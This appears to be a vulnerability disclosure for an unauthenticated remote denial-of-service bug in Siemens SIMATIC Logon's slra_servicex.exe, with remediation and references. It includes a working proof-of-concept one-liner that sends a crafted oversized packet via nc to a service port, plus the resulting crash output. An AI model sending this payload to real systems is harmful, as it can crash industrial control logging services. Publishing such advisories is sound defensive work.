Synopsis
While investigating CVE-2017-2684 we found a new unauthenticated remote denial of service vulnerability in slra_servicex.exe. The denial of service occurs due to an out of bounds write in a logging function. In the function, a 508 byte storage buffer is passed to vswprintf_s along with user provided data. Sufficiently large input will trigger the vulnerability.
The following can be used as a proof of concept.
[galago@galagidae inp]$ python -c "print '\x00\x54\x4c\x53\x00\x00\x00\x01''\x00'*48'\x00\x00\x00\x01\x00\x00\x04\x00'+'A'*0x408" | tr -d '\n' | nc 192.168.1.123 16389
The proof of concept will generate the following error.
0:002> .lastevent Last event: d1c.33c: Exit thread 2:33c, code c0000417 debugger time: Tue Feb 28 13:28:10.802 2017 (UTC - 5:00) 0:002> !error c0000417 Error code: (NTSTATUS) 0xc0000417 (3221226519) - An invalid parameter was passed to a C runtime function.
Solution
Upgrade to SIMATIC Logon 1.6 or newerAdditional References
https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-804859.pdfhttps://ics-cert.us-cert.gov/advisories/ICSA-17-192-01
Disclosure Timeline
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